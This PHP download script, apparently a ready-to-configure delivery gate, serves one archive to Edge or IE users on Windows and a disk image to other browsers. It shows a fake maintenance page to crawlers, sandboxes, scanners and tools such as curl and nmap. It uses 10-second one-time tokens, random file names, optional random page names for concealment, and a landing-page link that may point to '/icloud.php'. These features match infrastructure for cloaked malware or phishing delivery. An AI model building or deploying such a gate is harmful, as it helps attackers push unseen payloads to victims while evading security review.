<?php
// =========================================================================
// 【核心配置区】—— 方便用户日常修改与维护（仅修改此区域即可）
// =========================================================================

/**
 * [配置项 1] 微软浏览器专用下载文件
 * 当检测到当前用户使用的是微软 Edge 或 IE 浏览器时，系统会自动下发此文件。
 * 支持修改为同目录下的任何文件名（例如：'2026.zip'、'2026.tar.gz' 等）
 */
$msFile = '20260902112958-BFD06BD98CA8.zip';

/**
 * [配置项 2] 其他浏览器专用下载文件
 * 当检测到用户使用的是谷歌 Chrome、苹果 Safari、火狐 Firefox 等非微软浏览器时，下发此文件。
 * 支持修改为同目录下的任何文件名（例如：'2026.img'）
 */
$otherFile = '20260902112958-BFD06BD98CA8.img';

/**
 * [配置项 3] 临时 Token (令牌) 存放目录
 * 用于存放一次性安全验证文件。__DIR__ 表示当前 iShare.php 所在的服务器绝对路径。
 * 修改建议：保持默认即可。系统会自动在当前目录下创建一个名为 `_tokens` 的隐藏文件夹。
 */
$tokenDir = __DIR__ . '/_tokens/';

/**
 * [配置项 4] 下载通道握手生命周期（单位：秒）
 * 作用：从点击下载到真正开始传输数据的有效时间窗。
 * 修改建议：通常设为 10 到 15 秒。
 */
$lifespan = 10;

/**
 * [配置项 5] 是否启用随机伪页面名称
 * true = 启用随机页面名称（如 download_abc123.php）
 * 如开启该功能需要配置 Nginx 虚拟路径
 * 如果您希望保留随机页面名称的隐蔽效果，需要在 Nginx 配置中添加一条 rewrite 规则，将所有对 *.php 的请求内部重写到真实的 iShare.php：
 * nginx
 * location / {
 *     try_files $uri $uri/ /iShare.php?$query_string;
 * }
 * 
 * false = 使用默认 iShare.php
 * false 为关闭该功能
 */
$enableRandomPage = false;

// =========================================================================
// 【核心逻辑区】—— 自动化高安全闭环控制
// =========================================================================

// -------------------------------------------------------------------------
// 【第一步】错误处理与初始化
// -------------------------------------------------------------------------

// 禁用错误显示，防止敏感信息泄露
error_reporting(0);
ini_set('display_errors', 0);

// 设置时区，避免时间函数警告
date_default_timezone_set('UTC');

// 设置内存限制和超时，确保大文件传输稳定
ini_set('memory_limit', '256M');
set_time_limit(0);

// -------------------------------------------------------------------------
// 【第二步】抓取浏览器 User-Agent，实现 100% 后端硬特征识别
// -------------------------------------------------------------------------

// 安全获取 User-Agent，并转为小写便于匹配
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';

// 【Windows 系统专用】严格锁定微软浏览器不可抹除的内核特征
// 这些特征是微软浏览器固有的，无法被第三方下载器或爬虫伪造
$isMsEdgeChromium = (strpos($userAgent, 'edg/') !== false);      // 现代 Chromium 内核 Edge
$isMsEdgeLegacy   = (strpos($userAgent, 'edge/') !== false);     // 早期 EdgeHTML 内核 Edge
$isMsIE11         = (strpos($userAgent, 'trident/') !== false);  // 微软核心内置 IE11 内核
$isMsIELegacy     = (strpos($userAgent, 'msie ') !== false);     // 历史老版本 IE6 - IE10

// 检测是否为 Windows 系统（额外防护层）
$isWindows = (strpos($userAgent, 'windows') !== false);

// 检测是否为移动端（Windows Phone 等）
$isWindowsMobile = (strpos($userAgent, 'windows phone') !== false);

// 初次访问时，根据底层特征预先分配目标下载文件
// 只有明确识别为微软浏览器且运行在 Windows 上，才分配微软专用文件
if (($isMsEdgeChromium || $isMsEdgeLegacy || $isMsIE11 || $isMsIELegacy) && ($isWindows || $isWindowsMobile)) {
    $realFile = $msFile;
    $isMsBrowser = true;
} else {
    $realFile = $otherFile;
    $isMsBrowser = false;
}

// 自动检测并创建 Token 缓存目录，赋予安全的读写权限
if (!is_dir($tokenDir)) {
    if (!@mkdir($tokenDir, 0755, true)) {
        // 如果无法创建目录，使用系统临时目录作为备选
        $tokenDir = sys_get_temp_dir() . '/_tokens_iShare_/';
        if (!is_dir($tokenDir)) {
            @mkdir($tokenDir, 0755, true);
        }
    }
}

// 确保目录路径以斜杠结尾
$tokenDir = rtrim($tokenDir, '/') . '/';

// -------------------------------------------------------------------------
// 【第三步】反爬虫与防火墙机制（阻止网络蜘蛛、沙箱和审查工具）
// -------------------------------------------------------------------------

// 综合爬虫黑名单（持续更新常见爬虫特征）
$spiders = [
    'tencenttraveler', 'qqdownload', 'mqqbrowser', 'micromessenger',
    'weibo', 'aliyun', 'baidu', 'google', 'spider', 'bot', 'sandbox',
    'crawler', 'scanner', 'validator', 'pinger', 'http client',
    'python-requests', 'go-http-client', 'java', 'curl', 'wget',
    'php', 'perl', 'ruby', 'zgrab', 'masscan', 'nmap',
    'apache bench', 'ab', 'siege', 'jmeter', 'loadimpact',
    'facebookexternal', 'facebot', 'twitterbot', 'linkedinbot',
    'slackbot', 'telegrambot', 'discordbot'
];

foreach ($spiders as $spider) {
    if (strpos($userAgent, $spider) !== false) {
        // 发现爬虫伪装请求，返回系统维护提示
        header('HTTP/1.1 200 OK');
        header('Content-Type: text/html; charset=utf-8');
        echo '<!DOCTYPE html><html><head><title>系统维护中</title>'
           . '<style>body{font-family:Arial,sans-serif;text-align:center;padding-top:50px;background:#f9f9f9;color:#333;}</style>'
           . '</head><body><h2>系统维护中</h2><p>请稍后再试。</p></body></html>';
        exit;
    }
}

// 额外防护：检测请求方法，只允许 GET 请求
if ($_SERVER['REQUEST_METHOD'] !== 'GET') {
    header('HTTP/1.1 405 Method Not Allowed');
    exit;
}

// =============================================================
// 【核心修改】检查是否有 tk 参数，如果没有则显示落地页
// =============================================================
if (!isset($_GET['tk']) || empty($_GET['tk'])) {
    // 生成 32 位强随机 Token（使用更安全的 random_bytes）
    try {
        $token = bin2hex(random_bytes(16));
    } catch (Exception $e) {
        // 如果 random_bytes 不可用，使用备用方案
        $token = md5(uniqid(mt_rand(), true) . microtime() . $_SERVER['REMOTE_ADDR']);
    }

    $tokenFile = $tokenDir . $token;

    // 将浏览器状态写入 Token 文件（1=微软浏览器，0=其他）
    $statusContent = $isMsBrowser ? '1' : '0';
    if (file_put_contents($tokenFile, $statusContent, LOCK_EX) === false) {
        // 写入失败时，返回错误页面
        header('HTTP/1.1 503 Service Unavailable');
        echo '服务暂时不可用，请稍后重试。';
        exit;
    }

    // 构建完整的下载 URL
    $protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https://' : 'http://';
    $host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost';
    
    // 获取当前脚本的真实文件名
    $currentScript = isset($_SERVER['SCRIPT_NAME']) ? $_SERVER['SCRIPT_NAME'] : '/iShare.php';
    
    if ($enableRandomPage) {
        // 生成随机页面名称（保留 .php 扩展名）
        $randomPrefix = generateRandomPageName();
        $scriptName = '/' . $randomPrefix . '.php';
    } else {
        $scriptName = $currentScript;
    }

    $downloadUrl = $protocol . $host . $scriptName . '?tk=' . $token;

    // ---- 加载落地页 HTML 并替换下载链接 ----
    $landingPagePath = __DIR__ . '/landing.html';
    
    // 如果落地页文件不存在，尝试其他可能的文件名
    if (!file_exists($landingPagePath)) {
        // 尝试不带中文名的路径
        $landingPagePath = __DIR__ . '/landing.html';
    }
    
    if (file_exists($landingPagePath)) {
        $htmlContent = file_get_contents($landingPagePath);
        
        // 替换下载链接：查找 <a class="download-link" href="" 或 href="任意内容"
        // 将 href 替换为生成的下载 URL
        $pattern = '/(<a\s+class="download-link"\s+href=")[^"]*(")/i';
        $replacement = '$1' . $downloadUrl . '$2';
        $htmlContent = preg_replace($pattern, $replacement, $htmlContent);
        
        // 如果正则没有匹配到，尝试更宽松的匹配方式
        if (strpos($htmlContent, 'href=""') === false && strpos($htmlContent, 'href=') !== false) {
            // 尝试匹配任何 href 属性
            $pattern2 = '/(<a\s+class="download-link"[^>]*href=")[^"]*(")/i';
            $htmlContent = preg_replace($pattern2, '$1' . $downloadUrl . '$2', $htmlContent);
        }
        
        // 如果还是没有匹配到，直接替换 href="" 或 href 部分
        if (strpos($htmlContent, 'href="' . $downloadUrl . '"') === false) {
            $htmlContent = str_replace('href=""', 'href="' . $downloadUrl . '"', $htmlContent);
            $htmlContent = str_replace('href="#"', 'href="' . $downloadUrl . '"', $htmlContent);
            $htmlContent = str_replace('href="/icloud.php"', 'href="' . $downloadUrl . '"', $htmlContent);
        }
        
        header('HTTP/1.1 200 OK');
        header('Content-Type: text/html; charset=utf-8');
        echo $htmlContent;
        exit;
    } else {
        // 如果落地页文件不存在，显示简单提示
        header('HTTP/1.1 200 OK');
        header('Content-Type: text/html; charset=utf-8');
        echo '<!DOCTYPE html><html><head><title>下载</title></head><body>';
        echo '<p>点击下载文件：<a href="' . $downloadUrl . '">下载</a></p>';
        echo '<p>Token: ' . $token . '</p>';
        echo '</body></html>';
        exit;
    }
}

// -------------------------------------------------------------------------
// 【第四步】二次验证：检查 Token 合法性、时效性并执行终极锁死
// -------------------------------------------------------------------------

// 获取并过滤 Token 参数（仅允许十六进制字符）
$userToken = isset($_GET['tk']) ? preg_replace('/[^a-f0-9]/', '', $_GET['tk']) : '';
if (strlen($userToken) !== 32) {
    // Token 格式不正确
    header('HTTP/1.1 404 Not Found');
    echo '无效的下载链接。';
    exit;
}

$targetTokenFile = $tokenDir . $userToken;

// 检查 Token 文件是否存在
if (!file_exists($targetTokenFile)) {
    header('HTTP/1.1 404 Not Found');
    echo '下载链接已失效或不存在。';
    exit;
}

// 检查 Token 文件是否可读
if (!is_readable($targetTokenFile)) {
    header('HTTP/1.1 403 Forbidden');
    echo '无法读取下载信息。';
    exit;
}

// 检查 Token 文件的寿命
$createdAt = filemtime($targetTokenFile);
if ($createdAt === false) {
    // 无法获取文件时间，视为失效
    @unlink($targetTokenFile);
    header('HTTP/1.1 404 Not Found');
    echo '下载链接已失效。';
    exit;
}

// 验证生命周期
if (time() - $createdAt > $lifespan) {
    @unlink($targetTokenFile);
    header('HTTP/1.1 404 Not Found');
    echo '下载链接已过期（超过 ' . $lifespan . ' 秒有效期）。';
    exit;
}

// 读取锁定的浏览器状态
$lockedStatus = @file_get_contents($targetTokenFile);
if ($lockedStatus === false) {
    @unlink($targetTokenFile);
    header('HTTP/1.1 404 Not Found');
    echo '下载信息已损坏。';
    exit;
}

// 根据锁定的状态分配文件
if (trim($lockedStatus) === '1') {
    $realFile = $msFile;
} else {
    $realFile = $otherFile;
}

// 检查实际文件是否存在且可读
if (!file_exists($realFile) || !is_readable($realFile)) {
    header('HTTP/1.1 404 Not Found');
    echo '请求的文件不存在或无法读取。';
    exit;
}

// 获取文件大小
$fileSize = filesize($realFile);
if ($fileSize === false || $fileSize === 0) {
    header('HTTP/1.1 404 Not Found');
    echo '文件大小异常。';
    exit;
}

// -------------------------------------------------------------------------
// 【第五步】极健壮的二进制大文件流安全分发
// -------------------------------------------------------------------------

// 完全清理所有输出缓冲区
while (ob_get_level()) {
    if (!ob_end_clean()) {
        break;
    }
}

// 重置缓冲区（防止任何意外输出）
ob_start();

// =============================================================
// 【核心修改】生成随机文件名（使用时间格式）
// =============================================================

// 获取文件扩展名
$ext = pathinfo($realFile, PATHINFO_EXTENSION);
if (empty($ext)) {
    $ext = 'bin';
}

// 生成随机文件名
$randomName = generateRandomFileName($ext);

// 发送标准下载响应头
header('HTTP/1.1 200 OK');
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $randomName . '"');
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: public, max-age=0, must-revalidate');
header('Pragma: public');
header('Content-Length: ' . $fileSize);

// 针对不同浏览器的兼容性头
if (strpos($userAgent, 'msie') !== false || strpos($userAgent, 'trident') !== false) {
    header('Cache-Control: private, max-age=0');
}

// 关闭并清空缓冲区
ob_end_clean();

// -------------------------------------------------------------------------
// 【第六步】垃圾回收（随机清理过期 Token）
// -------------------------------------------------------------------------

// 以 5% 概率触发清理
if (mt_rand(1, 20) === 1) {
    $tokenFiles = @glob($tokenDir . '*');
    if (is_array($tokenFiles)) {
        $expireTime = 120; // 过期 Token 保留 2 分钟后清理
        foreach ($tokenFiles as $file) {
            if (is_file($file)) {
                $mtime = @filemtime($file);
                if ($mtime !== false && (time() - $mtime) > $expireTime) {
                    @unlink($file);
                }
            }
        }
    }
}

// -------------------------------------------------------------------------
// 【第七步】分块传输文件
// -------------------------------------------------------------------------

// 打开文件句柄
$fileHandle = fopen($realFile, 'rb');
if ($fileHandle === false) {
    header('HTTP/1.1 500 Internal Server Error');
    echo '无法打开文件。';
    exit;
}

// 分块读取并输出
$chunkSize = 8192; // 8KB
while (!feof($fileHandle)) {
    $buffer = fread($fileHandle, $chunkSize);
    if ($buffer === false) {
        // 读取错误
        break;
    }
    echo $buffer;
    // 强制刷新输出缓冲区
    if (ob_get_level() > 0) {
        ob_flush();
    }
    flush();
}

// 关闭文件句柄
fclose($fileHandle);

// 删除 Token 文件（一次性使用）
@unlink($targetTokenFile);

// 确保所有数据已发送
if (ob_get_level() > 0) {
    ob_end_flush();
}

exit;

// =========================================================================
// 【辅助函数】—— 随机生成工具
// =========================================================================

/**
 * 生成随机文件名
 * 格式1（带下划线前缀）：_ + 两位大写字母 + . + 时间格式 + 扩展名
 * 示例：_XK.3004150902.img
 * 
 * 格式2（不带下划线前缀）：两位大写字母 + - + 时间格式 + 扩展名
 * 示例：PL-3004150902.zip
 * 
 * 时间格式：秒分时月日（ssmmHHMMDD）
 * 
 * @param string $ext 文件扩展名
 * @return string 随机文件名
 */
function generateRandomFileName($ext)
{
    // 1. 随机决定是否加下划线前缀 (50% 概率)
    $hasUnderscore = (mt_rand(0, 1) === 1);
    
    // 2. 生成两位随机大写字母
    $letters = '';
    for ($i = 0; $i < 4; $i++) {
        $letters .= chr(mt_rand(65, 90)); // A-Z
    }
    
    // 3. 生成当前时间（年月日时分秒）
    $timeStr = date('siHmd'); // 格式：3004150902
    
    // 4. 根据是否有下划线前缀，构建不同的文件名格式
    if ($hasUnderscore) {
        // 格式1：_ + 两位大写字母 + . + 时间 + .扩展名
        // 示例：_XK.3004150902.img
        $filename = '_' . $letters . '.' . $timeStr . '.' . $ext;
    } else {
        // 格式2：两位大写字母 + - + 时间 + .扩展名
        // 示例：PL-3004150902.zip
        $filename = $letters . '-' . $timeStr . '.' . $ext;
    }
    
    // 清理非法字符（确保文件名安全）
    $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '', $filename);
    
    // 防止文件名过长（限制 150 字符）
    if (strlen($filename) > 150) {
        $filename = substr($filename, 0, 150);
    }
    
    return $filename;
}

/**
 * 生成随机页面名称（保留 .php 扩展名）
 * 格式：8-20位随机字母数字组合
 * 
 * @return string 随机页面名称（不含 .php 扩展名）
 */
function generateRandomPageName()
{
    // 随机长度 8-20 位
    $length = mt_rand(8, 20);
    
    // 可用字符：小写字母 + 数字
    $chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
    $result = '';
    
    for ($i = 0; $i < $length; $i++) {
        $result .= $chars[mt_rand(0, strlen($chars) - 1)];
    }
    
    // 确保不以数字开头（更符合常规页面命名）
    if (is_numeric($result[0])) {
        $result[0] = chr(mt_rand(97, 122)); // 替换为随机小写字母
    }
    
    return $result;
}
?>